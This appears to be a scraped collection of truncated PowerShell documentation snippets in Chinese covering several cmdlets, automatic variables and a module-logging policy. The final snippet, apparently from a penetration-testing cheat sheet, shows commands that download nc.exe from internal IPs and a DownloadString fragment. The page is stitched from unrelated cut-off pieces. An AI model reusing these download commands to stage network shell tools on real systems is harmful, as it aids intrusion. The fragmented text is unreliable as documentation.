藉由使用Cmdlet 指定Get-Help參數,輸出會包含數個額外的區段。 在這些章節中,PARAMETERS通常會為每個參數提供詳細的說明。 不過,這項資訊的範圍會根據您調查的特定命令而有所不同。 Output ... -Detailed <System.Management.Automation.SwitchParameter> Adds parameter descriptions and examples to the basic help di...
Powershell 默认支持的.NET类型如下。 [array],[bool],[byte],[char],[datetime],[decimal],[double],[guid],[hashtable],[int16],[int32],[int],[int64],[long],[nullable],[psobject],[regex],[sbyte].[scriptblock],[single],[float],[string],[switch],[timespan],[type],[uint16],[uint3...
Invocation.BoundParameters 包含參數名稱做為索引鍵 當參數定義唯一參數集時,PSCmdlet.ParameterSetName 例如,您可以使用 -MySwitch:$false 或展開來提供參數的明確值。 如果您只測試參數是否存在,命令的行為就如同參數值是 $true,而不是 $false。 另請參閱 撰寫Windows PowerShell Cmdlet在...
Test-Path-LiteralPath<string[]> [-Filter <string>] [-Include <string[]>] [-Exclude <string[]>] [-PathType <TestPathType>] [-IsValid] [-Credential <pscredential>] [<CommonParameters>] 说明 Test-Pathcmdlet 确定路径的所有元素是否存在。 如果所有元素都存在,则返回$true,如果缺少任何元素,则返...
Start-Job[-DefinitionName] <String> [[-DefinitionPath] <String>] [[-Type] <String>] [-WorkingDirectory <String>] [<CommonParameters>] PowerShell复制 Start-Job[-Name <String>] [-Credential <PSCredential>] [-FilePath] <String> [-Authentication <AuthenticationMechanism>] [[-InitializationScript...
Sort-Object [-Stable] [-Descending] [-Unique] [-InputObject <PSObject>] [[-Property] <Object[]>] [-Culture <String>] [-CaseSensitive] [<CommonParameters>]PowerShell 复制 Sort-Object [-Descending] [-Unique] -Top <Int32> [-InputObject <PSObject>] [[-Property] <Object[]>] [-Cultur...
“打开模块日志记录”策略设置将打开所选 PowerShell 模块的日志记录。 此设置在所有受影响的计算机上的所有会话中都有效。 如果启用此策略设置并指定一个或多个模块,PowerShell 将在Windows PowerShell登录事件查看器中记录指定模块的管道执行事件。 如果禁用此策略设置,PowerShell 不会记录任何 PowerShell 模块的...
New-Item[[-Path] <string[]>]-Name<string> [-ItemType <string>] [-Value <Object>] [-Force] [-Credential <pscredential>] [-WhatIf] [-Confirm] [-Options <ScopedItemOptions>] [<CommonParameters>] 说明 New-Itemcmdlet 创建新项并设置该项的值。 可创建项的类型取决于该项所在位置。 例如,在...
$PSBoundParameters $PSCmdlet $PSCommandPath $PSCulture $PSDebugContext $PSEdition $PSHOME $PSItem $PSScriptRoot $PSSenderInfo $PSUICulture $PSVersionTable $PWD $Sender $ShellId $StackTrace $switch $this $true 长说明 $$ 包含会话收到的最后一行中的最后一个令牌。 $? 包含最后一个命令的执行状...
DownloadString("xxx.ps1");[Parameters] powershell 下载远程数据 Win 7 PowerShell WebClient: powershell (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe") Win 8及更高版本PowerShell Invoke-WebRequest (wget): powershell wget "http://172.16.0.107:8000/nc.exe"...